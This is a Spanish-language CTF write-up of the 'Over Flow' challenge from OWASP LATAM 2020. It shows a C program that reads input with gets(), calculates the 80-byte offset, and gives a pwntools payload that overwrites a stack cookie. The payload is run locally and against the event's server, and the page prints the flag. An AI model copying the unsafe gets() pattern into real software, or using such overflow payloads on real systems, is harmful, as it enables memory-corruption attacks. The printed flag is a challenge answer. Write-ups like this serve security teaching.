OWASP 2020 {En Construcción}

Evento en el que participó el equipo “The Avengers” felicidades a los pwners se rifarón, yo solo pude hacer algunos retos aquí los writeups de los ejercicios que logré hacer…..

Over Flow

Este fue un ejercicio sencillo, al momento de realizarlo valia 490 puntos.

El reto consta de 2 archivos, el binario y el código del mismo en formato .c.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
int cookie;
char buf[80] = "Hola, bienvenido al OWASP LATAM Tour!!!\n\n";
printf(buf);
printf("buf esta en %08x y cookie en %08x\n y la flag es....\n", &buf, &cookie);
printf("give me your input!!! ");
gets(buf);

if (cookie == 0x41424344)
{
setreuid(geteuid(), geteuid());
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
}
}

Como podemos darnos cuenta el reto si es de BufferOverflow ya que gets es una función que no revisa el tamaño del buffer(incluso cuando este se asigne previamente) y sobreescribe en pila mas datos de los que puede contener.

Una de las partes importantes del reto es la siguiente:

1
2
3
4
5
6
7
8
...
if (cookie == 0x41424344)
{
setreuid(geteuid(), geteuid());
printf("\nLa flag es: ");
fflush(stdout);
system("/bin/cat flag");
...

Debemos sobreescribir cookie a x0x41424344 para que la consola ejecute un cat a flag ;D.
Primero le damos permiso al binario.

1
root@kali:~/owasp# chmod +x reto

Despues revisamos que es lo que hace:

1
2
3
4
5
6
root@kali:~/owasp# ./reto 
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ffdf8fec y cookie en ffdf903c
y la flag es....
give me your input!!! abenyer

Le damos una cadena para ver que regresa en este caso fue “abenyer”, sin embargo el programa no regresa nada, le mandaremos 100 A’s para ver si causamos buffer overflow.

1
2
3
4
5
6
root@kali:~/owasp# python -c "print('A'*100)" | ./reto 
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ffa2886c y cookie en ffa288bc
y la flag es....
give me your input!!! Segmentation fault

Segmentation fault efectivamente es buffer overflow pero ahora no es necesario aprovecharnos de EIP ya que solo requerimos cambiar el valor de cookie, pero vemos algo interesante buf esta en ffa2886c y cookie en ffa288bc……

Si buscamos en internet una calculadora hexadecimal y restamos el valor de cookiecon buf (En este orden por que recuerden que la pila crece en direcciones bajas.)

Es de 80 decimal, es decir el tamaño de buf, esto nos da una pista y teniendo el archivo en C podemos ver un esquema general de la siguiente manera:

Lo unico que necesitamos es rellenar buf hasta 80 y como getssobrescribe, (lo que queramos) como ya no habra espacio los siguientes 4 bytes iran dentro de cookie esos 4 bytes simplemente los cambiaremos por 0x41424344 para que al seguir el flujo entre dentro de la condición, esto se logra de la siguiente manera:

1
2
3
4
5
6
7
root@kali:~/owasp# python -c "from pwn import *; print('A'*80+p32(0x41424344))" | ./reto 
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ffeeedac y cookie en ffeeedfc
y la flag es....
give me your input!!!
La flag es: /bin/cat: flag: No such file or directory

“p32() -> es una función de pwntools que lo único que hace es enviar los datos en formato Little Endian.”

Excelente el programa realiza un cat a flag, obviamente no se puede ver la flag por que estamos dentro de mi equipo sin embargo cambiamos ./reto por el servidor: nc over-easy.ctf.owasplatam.org 10005

1
2
3
4
5
6
7
root@kali:~/owasp# python -c "from pwn import *; print('A'*80+p32(0x41424344))" | nc over-easy.ctf.owasplatam.org 10005
Hola, bienvenido al OWASP LATAM Tour!!!

buf esta en ffd8049c y cookie en ffd804ec
y la flag es....
give me your input!!!
La flag es: owasp{tu_primer_buffer_overflow?}

FLAG: owasp{tu_primer_buffer_overflow?}

Continuara ………..

Into Over

Less One